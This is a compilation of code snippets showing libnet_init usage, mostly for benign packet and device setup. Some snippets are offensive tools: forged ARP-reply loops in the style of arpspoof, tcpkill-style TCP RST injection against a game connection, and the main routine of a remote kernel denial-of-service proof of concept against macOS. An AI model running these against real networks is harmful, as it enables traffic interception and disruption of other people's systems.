int init_libnet(const char *dev, const char *dmac) { char err_buf[LIBNET_ERRBUF_SIZE]; memset(err_buf, 0, LIBNET_ERRBUF_SIZE); /* 获取设备句柄 */ #ifdef ENABLE_LIBNET_LINK libnet_handle = libnet_init(LIBNET_LINK, dev, err_buf); #else libnet_handle = libnet_init(LIBNET_RAW4, dev, err_buf); #endif if(libnet_handle == NULL) { errlog("Couldn't open device %s:%s", dev, err_buf); return IPTRAFFIC_FUNC_ERROR; } /* 指定回报报文MAC */ if(dmac && (strlen(dmac) > 0)) { char buf[ETH_ALEN]; memset(buf, 0, ETH_ALEN); mac_str_to_bin( dmac, buf); memcpy(dest_mac, buf, ETH_ALEN); } #ifdef ENABLE_DEBUG dbglog("MAC:%2.2x:%2.2x:%2.2x:%2.2x:%2.2x:%2.2x", dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5]); #endif return IPTRAFFIC_FUNC_SUCCESS; }
static gboolean afinet_dd_init(LogPipe *s) { AFInetDestDriver *self G_GNUC_UNUSED = (AFInetDestDriver *) s; gboolean success; success = afsocket_dd_init(s); #if ENABLE_SPOOF_SOURCE if (success) { if (self->spoof_source && !self->lnet_ctx) { gchar error[LIBNET_ERRBUF_SIZE]; cap_t saved_caps; saved_caps = g_process_cap_save(); g_process_cap_modify(CAP_NET_RAW, TRUE); self->lnet_ctx = libnet_init(self->super.dest_addr->sa.sa_family == AF_INET ? LIBNET_RAW4 : LIBNET_RAW6, NULL, error); g_process_cap_restore(saved_caps); if (!self->lnet_ctx) { msg_error("Error initializing raw socket, spoof-source support disabled", evt_tag_str("error", NULL), NULL); } } } #endif return success; }
int main() { libnet_t *l; /* libnet context */ char errbuf[LIBNET_ERRBUF_SIZE]; u_int32_t ip_addr; struct libnet_ether_addr *mac_addr; l = libnet_init(LIBNET_RAW4, "eth0", errbuf); if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s\n", errbuf); exit(EXIT_FAILURE); } ip_addr = libnet_get_ipaddr4(l); if (ip_addr != -1) printf("IP address: %s\n", libnet_addr2name4(ip_addr, LIBNET_DONT_RESOLVE)); else fprintf(stderr, "Couldn't get own IP address: %s\n", libnet_geterror(l)); mac_addr = libnet_get_hwaddr(l); if (mac_addr != NULL) printf("MAC address: %02X:%02X:%02X:%02X:%02X:%02X\n", mac_addr->ether_addr_octet[0], mac_addr->ether_addr_octet[1], mac_addr->ether_addr_octet[2], mac_addr->ether_addr_octet[3], mac_addr->ether_addr_octet[4], mac_addr->ether_addr_octet[5]); else fprintf(stderr, "Couldn't get own MAC address: %s\n", libnet_geterror(l)); libnet_destroy(l); return 0; }
bool ArpPkt::init(const char* dev){ l = libnet_init(LIBNET_LINK_ADV,dev,errbuf); if ( l == NULL ) { return false; } return true; }
/*- -- net.init(injection, device) injection is one of "link", "raw", ... device is "eth0", ... Switch order of args? injection we can give a default (link), device we can't default. */ static int lnet_init(lua_State *L) { static const char* injection_opt[] = { "none", "link", "link_adv", "raw4", "raw4_adv", "raw6", "raw6_adv", NULL }; static int injection_val[] = { LIBNET_NONE, LIBNET_LINK, LIBNET_LINK_ADV, LIBNET_RAW4, LIBNET_RAW4_ADV, LIBNET_RAW6, LIBNET_RAW6_ADV }; char errbuf[LIBNET_ERRBUF_SIZE]; int type = injection_val[luaL_checkoption(L, 1, "none", injection_opt)]; const char *device = luaL_optstring(L, 2, NULL); libnet_t** ud = lua_newuserdata(L, sizeof(*ud)); *ud = NULL; luaL_getmetatable(L, L_NET_REGID); lua_setmetatable(L, -2); *ud = libnet_init(type, device, errbuf); if (!*ud) { return luaL_error(L, "%s", errbuf); } return 1; }
/* * Libnet initialize */ int libnet_initialize(char *lnet_errbuf, u_int32_t *src_ip, u_int32_t *dst_ip) { // libnet init l = libnet_init(LIBNET_RAW4, progopt.device_set() ? progopt.device : NULL, lnet_errbuf); if ( l == NULL ) { return 0; } // check destination ip *dst_ip = libnet_name2addr4(l, progopt.dstaddr, LIBNET_DONT_RESOLVE); if(*dst_ip<1) { strncpy(lnet_errbuf, "Destination address error.\n", LIBNET_ERRBUF_SIZE); return 0; } // check source ip if(progopt.srcaddr_set()) { *src_ip = libnet_name2addr4(l, progopt.srcaddr, LIBNET_DONT_RESOLVE); if(*src_ip<1) { strncpy(lnet_errbuf, "Source address error.\n", LIBNET_ERRBUF_SIZE); return 0; } } else { *src_ip = libnet_get_ipaddr4(l); if(*src_ip<1) { strncpy(lnet_errbuf, libnet_geterror(l), LIBNET_ERRBUF_SIZE); return 0; } } return 1; }
/***************************************************************************** * public implementations ****************************************************************************/ struct sender6 * sender6_create(const char *device) /* {{{ */ { char errbuf[LIBNET_ERRBUF_SIZE]; char *dev; struct sender6 *sender; dev = strdup(device); if(!dev) logea(__FILE__, __LINE__, NULL); sender = malloc(sizeof(struct sender6)); if(!sender) logea(__FILE__, __LINE__, NULL); sender->ln = libnet_init(LIBNET_RAW6, dev, errbuf); if(!sender->ln) goto out_libnet; free(dev); sender->ip = libnet_get_ipaddr6(sender->ln); sender->icmptag = 0; sender->iptag = 0; sender->tmptag = 0; logd(LOG_INFO, "%s dev=%s ok\n", __func__, device); return sender; out_libnet: loge(LOG_FATAL, __FILE__, __LINE__); logd(LOG_FATAL, "%s: %s", __func__, errbuf); free(sender); free(dev); return NULL; } /* }}} */
int main() { int i; char errbuf[LIBNET_ERRBUF_SIZE]; /* It's a good idea to have the payload as an array of * * bytes. If yours isn't, make a pointer to it and cast * * it.*/ u_int8_t payload[3000]; l = libnet_init(LIBNET_RAW4, "eth0", errbuf); if (l == NULL) { fprintf(stderr, "libnet_init() failed (raw4, 1st call): %s\n", errbuf); exit(EXIT_FAILURE); } /* Generating random payload */ libnet_seed_prand(l); for (i = 0; i < sizeof(payload); i++) { payload[i] = libnet_get_prand(LIBNET_PR8); } /* Building and sending the fragments */ frag_and_send(payload, sizeof(payload)); libnet_destroy(l); return 0; }
static inline void init_thread_libnet() { if(!libnet) { static char buf[LIBNET_ERRBUF_SIZE]; libnet = libnet_init(LIBNET_RAW4, NULL, buf); } }
int TCP_SF_Sender::tcpSF(unsigned int destip, unsigned short dport,unsigned int seq, unsigned int control, unsigned short IPid) { // TODO : now we use the fixed ethernet,we will do something to make it find ethernet by itself char dev[DEV_MAX] ; /* set device name */ strcpy(dev,global_dev); libnet_t *l = NULL; libnet_ptag_t packetTag; // the tag return by some build functions char errBuff[LIBNET_ERRBUF_SIZE] = {0}; // first is to initilize the library and create the envirnoment l = libnet_init(LIBNET_RAW4,dev,errBuff); if( NULL==l ){ return -1; } // create the tcp header packetTag=libnet_build_tcp( 25555, // source port(fixed) dport, // dest port seq, // TODO : seq 0, // ack control, // control flags 0, // window size 0, // checksum (0 for autofill) 0, // urgent pointer LIBNET_TCP_H,// total length of the TCP packet (for checksum calculation) NULL, // playload 0, // playload length l, // the libnet context 0 // build a new one ); // source ip is my IP u_long source; source = libnet_get_ipaddr4(l); if( -1==int(source) ){ return -1; } // create the ip header packetTag=libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_TCP_H, 0, IPid, // id 0, 60, // TTL IPPROTO_TCP, 0, source, destip, NULL, 0, l, 0 ); // send packets int packet_length = libnet_write(l); // destory the session libnet_destroy(l); return packet_length; }
int main(int argc, char *argv[]) { extern char *optarg; extern int optind; char pcap_ebuf[PCAP_ERRBUF_SIZE]; char libnet_ebuf[LIBNET_ERRBUF_SIZE]; int c; intf = NULL; spoof_ip = target_ip = 0; while ((c = getopt(argc, argv, "i:t:h?V")) != -1) { switch (c) { case 'i': intf = optarg; break; case 't': if ((target_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) usage(); break; default: usage(); } } argc -= optind; argv += optind; if (argc != 1) usage(); if ((spoof_ip = libnet_name2addr4(l, argv[0], LIBNET_RESOLVE)) == -1) usage(); if (intf == NULL && (intf = pcap_lookupdev(pcap_ebuf)) == NULL) errx(1, "%s", pcap_ebuf); if ((l = libnet_init(LIBNET_LINK, intf, libnet_ebuf)) == NULL) errx(1, "%s", libnet_ebuf); if (target_ip != 0 && !arp_find(target_ip, &target_mac)) errx(1, "couldn't arp for host %s", libnet_addr2name4(target_ip, LIBNET_DONT_RESOLVE)); signal(SIGHUP, cleanup); signal(SIGINT, cleanup); signal(SIGTERM, cleanup); for (;;) { arp_send(l, ARPOP_REPLY, NULL, spoof_ip, (target_ip ? (u_int8_t *)&target_mac : NULL), target_ip); sleep(2); } /* NOTREACHED */ exit(0); }
void spoof_arp(in_addr_t ipaddr, in_addr_t destip, u_int8_t *macaddr, u_int8_t *destmacaddr) { libnet_ptag_t arp = 0; /* ARP protocol tag */ libnet_ptag_t eth = 0; /* Ethernet protocol tag */ libnet_t *l; char errbuf[LIBNET_ERRBUF_SIZE]; l = libnet_init(LIBNET_LINK, dev, errbuf); if (l == NULL) { fprintf (stderr, "Error Opening Context: %s\n", errbuf); exit(1); } arp = libnet_autobuild_arp(ARPOP_REPLY, macaddr, (u_int8_t *) &ipaddr, destmacaddr, (u_int8_t *) &destip, l); if (arp == -1) { fprintf(stderr, "Unable to build ARP header: %s\n", libnet_geterror (l)); exit(1); } eth = libnet_build_ethernet(destmacaddr, macaddr, ETHERTYPE_ARP, NULL, 0, l, eth); if (eth == -1) { fprintf (stderr, "Unable to build Ethernet header: %s\n", libnet_geterror (l)); exit (1); } /* write the packet */ if ((libnet_write (l)) == -1) { fprintf (stderr, "Unable to send packet: %s\n", libnet_geterror (l)); exit (1); } /* exit cleanly */ libnet_destroy (l); }
libnet_t* start_libnet(char *dev) { char errbuf[LIBNET_ERRBUF_SIZE]; libnet_t *libnet_handler = libnet_init(LIBNET_RAW4_ADV, dev, errbuf); if(NULL == libnet_handler) { printf("libnet_init: error %s\n", errbuf); } return libnet_handler; }
/* * my_libnet_init */ my_libnet_t *my_libnet_init(char *pcapdev, char *errbuf) { #ifdef HAVE_LIBNET_1_0 return libnet_open_link_interface(pcapdev, errbuf); #else # ifdef HAVE_LIBNET_1_1 return libnet_init(LIBNET_LINK_ADV, pcapdev, errbuf); # endif #endif }
void open_output(void) { char errbuf[LIBNET_ERRBUF_SIZE]; /* Initialize libnet with an IPv4 raw socket */ l = libnet_init(LIBNET_RAW4, NULL, errbuf); if (l == NULL) { err_quit("Can't initialize libnet: %s", errbuf); } }
static gboolean afinet_dd_init(LogPipe *s) { AFInetDestDriver *self G_GNUC_UNUSED = (AFInetDestDriver *) s; #if ENABLE_SPOOF_SOURCE if (self->spoof_source) self->super.connections_kept_alive_accross_reloads = TRUE; #endif if (!afsocket_dd_init(s)) return FALSE; #if ENABLE_SPOOF_SOURCE if (self->super.transport_mapper->sock_type == SOCK_DGRAM) { if (self->spoof_source && !self->lnet_ctx) { gchar error[LIBNET_ERRBUF_SIZE]; cap_t saved_caps; saved_caps = g_process_cap_save(); g_process_cap_modify(CAP_NET_RAW, TRUE); self->lnet_ctx = libnet_init(self->super.bind_addr->sa.sa_family == AF_INET ? LIBNET_RAW4 : LIBNET_RAW6, NULL, error); g_process_cap_restore(saved_caps); if (!self->lnet_ctx) { msg_error("Error initializing raw socket, spoof-source support disabled", evt_tag_str("error", NULL), NULL); } } } #endif #if BUILD_WITH_SSL if (!self->tls_context && afinet_dd_is_tls_required(self)) { msg_error("transport(tls) was specified, but tls() options missing", evt_tag_str("id", self->super.super.super.id), NULL); return FALSE; } else if (self->tls_context && !afinet_dd_is_tls_allowed(self)) { msg_error("tls() options specified for a transport that doesn't allow TLS encryption", evt_tag_str("id", self->super.super.super.id), evt_tag_str("transport", self->super.transport_mapper->transport), NULL); return FALSE; } #endif return TRUE; }
/* very un-elegant initialization routine */ void init_libnet(router_state* rs) { char* iface_names[4] = {"nf2c0", "nf2c1", "nf2c2", "nf2c3"}; int i; for (i = 0; i < 4; ++i) { rs->libnet_errbuf[i] = calloc(1, LIBNET_ERRBUF_SIZE); if ((rs->libnet_context[i] = (void*)libnet_init(LIBNET_LINK_ADV, iface_names[i], rs->libnet_errbuf[i])) == NULL) { printf("Failure initializing libnet\n"); exit(1); } } }
static libnet_t *setup_libnet(char *intf) { libnet_t *ln = NULL; ln = libnet_init(LIBNET_LINK, intf, ln_errbuf); if (!ln) { fprintf(stderr, "libnet_init() failed: %s", ln_errbuf); exit(EXIT_FAILURE); } return ln; }
int raw_init() { char errbuf[1024]; l = libnet_init(LIBNET_RAW4, /* injection type */ NULL, /* network interface */ errbuf); /* error buffer */ if (!l) { printf("%s\n", errbuf); return 0; } else return 1; }
void send_init( const char *dev ) { char err[ LIBNET_ERRBUF_SIZE ]; eth_net = libnet_init( LIBNET_LINK_ADV, (char*)dev, err ); if( eth_net == NULL ) { printf( "Could not Initialize Send: %s\n", err ); exit( 1 ); } printf( "Initialized Send Interface\n" ); }
void tcpkill_init(void) { char *intf, ebuf[PCAP_ERRBUF_SIZE]; char libnet_ebuf[LIBNET_ERRBUF_SIZE]; if ((intf = pcap_lookupdev(ebuf)) == NULL) errx(1, "%s", ebuf); if ((l = libnet_init(LIBNET_RAW4, intf, libnet_ebuf)) == NULL) errx(1, "couldn't initialize sending"); libnet_seed_prand(l); }
int main (int argc, char **argv) { char errbuf[LIBNET_ERRBUF_SIZE], ip6_buf[128]; unsigned int i, ip6_addr[4]; libnet_t *lnsock; printf ("Apple MACOS X xnu <= 1228.3.13 ipv6-ipcomp remote kernel DoS PoC\n" "by: <*****@*****.**>\n" "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n"); if (argc < 2) { fprintf (stderr, "Usage: %s <dst ipv6>\n", argv[0]); exit (EXIT_FAILURE); } if (get_localip (IPV6_INTERFACE, (unsigned int *) &pbuf[IPV6_SRC_OFFSET]) < 0) { fprintf (stderr, "* get_localip() failed\n"); exit (EXIT_FAILURE); } if (inet_pton (AF_INET6, argv[1], ip6_addr) <= 0) { fprintf (stderr, "* inet_pton() failed\n"); exit (EXIT_FAILURE); } memcpy (&pbuf[IPV6_DST_OFFSET], ip6_addr, sizeof ip6_addr); lnsock = libnet_init (LIBNET_RAW6_ADV, NULL, errbuf); if (lnsock == NULL) { fprintf (stderr, "* libnet_init() failed: %s\n", errbuf); exit (EXIT_FAILURE); } inet_ntop (AF_INET6, &pbuf[IPV6_SRC_OFFSET], ip6_buf, sizeof ip6_buf); printf ("* local ipv6 %s...\n", ip6_buf); printf ("* attacking %s...", argv[1]); for (i = 0; i < HAMMER_NUM; i++) libnet_write_raw_ipv6 (lnsock, pbuf, sizeof pbuf - 1); printf ("done\n"); return (EXIT_SUCCESS); }
void main(int argc,char *argv[]) { if(argc!=2) { printf("用法错误:需要添加目的IP参数\n"); return; } char error_buf[LIBNET_ERRBUF_SIZE]; libnet_t *l; l= libnet_init(LIBNET_LINK_ADV,NULL,error_buf); if(l==NULL) { printf("libnet初始化错误:%s\n",error_buf); libnet_destroy(l); return; } u_char arp_sha[6]={0x00,0x1e,0x90,0xc7,0xe3,0xbb}; u_char arp_dha[6]={0x00,0x00,0x00,0x00,0x00,0x00}; char *arp_src_ip="192.168.1.6"; u_int arp_spa=libnet_name2addr4(l,arp_src_ip,LIBNET_RESOLVE); char *arp_dst_ip=argv[1]; u_int arp_dpa=libnet_name2addr4(l,arp_dst_ip,LIBNET_RESOLVE); if(libnet_build_arp(ARPHRD_ETHER,ETHERTYPE_IP,6,4,ARPOP_REQUEST,arp_sha,(u_int8_t *)&arp_spa,arp_dha,(u_int8_t *)&arp_dpa,NULL,0,l,0)==-1) { printf("构造ARP错误:%s\n",libnet_geterror(l)); libnet_destroy(l); return; } u_char ether_sha[6]={0x00,0x1e,0x90,0xc7,0xe3,0xbb}; u_char ether_dha[6]={0xff,0xff,0xff,0xff,0xff,0xff}; if(libnet_build_ethernet(ether_dha,ether_sha,ETHERTYPE_ARP,NULL,0,l,0)==-1) { printf("构造以太错误:%s\n",libnet_geterror(l)); libnet_destroy(l); return; } //libnet_diag_dump_pblock(l); //libnet_diag_dump_context(l); libnet_write(l); libnet_destroy(l); return; }
int main(int argc,char *argv[]){ int c; u_long i; libnet_t *l; char *device = NULL; struct libnet_ether_addr *e; char errbuf[LIBNET_ERRBUF_SIZE]; printf("libnet 1.1 address getter\n"); while((c = getopt(argc,argv,"i:")) != EOF){ switch(c){ case 'i': device = optarg; break; default: exit(EXIT_FAILURE); } } //Initialize the library.Root Priviledges are requried. l = libnet_init( LIBNET_LINK, /* injection type */ device, /* network interface */ errbuf); /* errbuf */ if(l == NULL){ fprintf(stderr,"libnet_init() failed:%s",errbuf); exit(EXIT_FAILURE); } printf("Interface:\t%s\n",libnet_getdevice(l)); e = libnet_get_hwaddr(l); if(e == NULL){ fprintf(stderr,"Can't get hardware address:%s\n",libnet_geterror(l)); }else{ printf("MAC address:\t"); for(c=0;c < 6;c++){ printf("%2.2x",e->ether_addr_octet[c]); if(c !=5 ) printf(":"); } printf("\n"); } }
int main(int argc, char *argv[]) { libnet_t *l; char errbuf[LIBNET_ERRBUF_SIZE]; if (argc == 1) { fprintf(stderr,"Usage: %s device\n",errbuf); exit(EXIT_FAILURE); } l = libnet_init(LIBNET_RAW4,argv[1],errbuf); if (l == NULL) { fprintf(stderr,"libnet_init() error: %s\n",errbuf); exit(EXIT_FAILURE); } libnet_destroy(l); return 0; }
int main(int argc, char* argv[]) { srandomdev(); if (argc != 2) { errx(EX_USAGE, "Usage: %s <device>", argv[0]); } char* dev = argv[1]; char errbuf[LIBNET_ERRBUF_SIZE]; libnet_t* context = libnet_init(LIBNET_LINK, dev, errbuf); if (context == NULL) { errx(EX_UNAVAILABLE, "libnet_init: %s", errbuf); } uint8_t buf[MAX_DHCP_SIZE]; uint16_t size = MAX_DHCP_SIZE; build_dhcp_discover(source_mac, "lozenge", buf, &size); libnet_ptag_t ether_tag = LIBNET_PTAG_INITIALIZER; libnet_ptag_t ip_tag = LIBNET_PTAG_INITIALIZER; libnet_ptag_t udp_tag = LIBNET_PTAG_INITIALIZER; udp_tag = libnet_build_udp(68, 67, LIBNET_UDP_H + size, 0, buf, size, context, udp_tag); u_short ipid = random() & 0xffff; ip_tag = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_UDP_H + size, 0, ipid, 0, 0xff, IPPROTO_UDP, 0, 0, 0xffffffff, NULL, 0, context, ip_tag); ether_tag = libnet_build_ethernet(broadcast_mac, source_mac, ETHERTYPE_IP, NULL, 0, context, ether_tag); if (libnet_write(context) == -1) { libnet_destroy(context); errx(EX_UNAVAILABLE, "libnet_write"); } printf("Wrote\n"); libnet_destroy(context); return 0; }
PcapGen::PcapGen(const std::string& path): PcapGen() { pcap_.reset(pcap_open_dead(/*LINKTYPE_ETHERNET*/ 1, 65536)); if (!pcap_) throw std::runtime_error("pcap_open_dead"); pcap_dump_.reset(pcap_dump_open(pcap_.get(), path.c_str())); if (!pcap_dump_) { std::ostringstream ss; ss << "pcap_dump_open: " << pcap_geterr(pcap_.get()); throw std::runtime_error(ss.str()); } char errbuf[LIBNET_ERRBUF_SIZE]; lnet_.reset(libnet_init(LIBNET_NONE, nullptr, errbuf)); if (!lnet_) { std::ostringstream ss; ss << "libnet_init: " << errbuf; throw std::runtime_error("libnet_init"); } }
//=============================== //I tried to do this same concept using LIBNET_RAW4 instead of LIBNET_LINK so //I wouldn't have to worry about the ethernet header. But something weird happens when I //try to do this. If there is already an established connection.. e.g. 70.116.23.2:3779 to //192.168.0.2:6112, if we send the packet using raw4, in tcpdump we get //70.116.23.2:1024 --> 192.168.0.2:6112. I am really not sure why it won't send the correct //source port if that connection is already established, but using LIBNET_LINK seems to not //have this problem. I believe it is a kernel related issue. void TcpKill::Execute(const wxString &sIp, u_int nPort) { char szErrBuf[LIBNET_ERRBUF_SIZE]; libnet_ptag_t ip; libnet_ptag_t tcp; wxString sSniffDevice = CONFIG(wxString, "Network/SniffDevice"); wxString sGameHost = CONFIG(wxString, "Network/GameHost"); int nGamePort = CONFIG(int, "Network/GamePort"); shared_ptr<NodeInfo> pNodeInfo = Info::Get()->GetNodeInfo(sIp, nPort); if (!pNodeInfo) { //Interface::Get()->Output(wxString::Format("Can't find %s:%d in net info map.", m_sIp.c_str(), m_nPort), OUTPUT_ERROR); return; } NetInfo &netInfo = Info::Get()->GetNetInfo(); //This is pretty inefficient since I constantly init libnet and destroy it. It would be better //if we could init once and just keep changing the sequence number and destination ip. for (u_int x = 0; x < m_nSeverity; x++) { u_int32_t seq_out = pNodeInfo->last_sentack; libnet_t *pLibnet = libnet_init(LIBNET_LINK, const_cast<char *>(sSniffDevice.c_str()), szErrBuf); libnet_seed_prand(pLibnet); tcp = libnet_build_tcp(nPort, nGamePort, seq_out, 0, TH_RST, 0, 0, 0, LIBNET_TCP_H, NULL, 0, pLibnet, 0); u_long src_ip = libnet_name2addr4(pLibnet, const_cast<char *>(sIp.c_str()), LIBNET_DONT_RESOLVE); u_long dst_ip = libnet_name2addr4(pLibnet, const_cast<char *>(sGameHost.c_str()), LIBNET_DONT_RESOLVE); ip = libnet_build_ipv4(sizeof(net_ip) + sizeof(net_tcp), 0, libnet_get_prand(LIBNET_PRu16), 0, 64, IPPROTO_TCP, 0, src_ip, dst_ip, NULL, 0, pLibnet, 0); libnet_autobuild_ethernet(netInfo.gamehost_ether, ETHERTYPE_IP, pLibnet); libnet_write(pLibnet); libnet_destroy(pLibnet); } }
int get_hw_addr(char *device, u_char mac[6]) { struct libnet_ether_addr *mac_address; libnet_t *ln; char err_buf[LIBNET_ERRBUF_SIZE]; ln = libnet_init(LIBNET_LINK, device, err_buf); if (!ln) { fprintf(stderr, "libnet_open_link_interface: %s\n", err_buf); return -1; } mac_address = libnet_get_hwaddr(ln); if (!mac_address) { fprintf(stderr, "libnet_get_hwaddr: %s\n", err_buf); return -1; } memcpy(mac, mac_address->ether_addr_octet, 6); return 0; }
static gboolean afinet_dd_init(LogPipe *s) { AFInetDestDriver *self G_GNUC_UNUSED = (AFInetDestDriver *) s; #if SYSLOG_NG_ENABLE_SPOOF_SOURCE if (self->spoof_source) self->super.connections_kept_alive_accross_reloads = TRUE; #endif if (!afsocket_dd_init(s)) return FALSE; #if SYSLOG_NG_ENABLE_SPOOF_SOURCE if (self->super.transport_mapper->sock_type == SOCK_DGRAM) { if (self->spoof_source && !self->lnet_ctx) { gchar error[LIBNET_ERRBUF_SIZE]; cap_t saved_caps; saved_caps = g_process_cap_save(); g_process_cap_modify(CAP_NET_RAW, TRUE); self->lnet_ctx = libnet_init(self->super.bind_addr->sa.sa_family == AF_INET ? LIBNET_RAW4 : LIBNET_RAW6, NULL, error); g_process_cap_restore(saved_caps); if (!self->lnet_ctx) { msg_error("Error initializing raw socket, spoof-source support disabled", evt_tag_str("error", NULL), NULL); } } } #endif return TRUE; }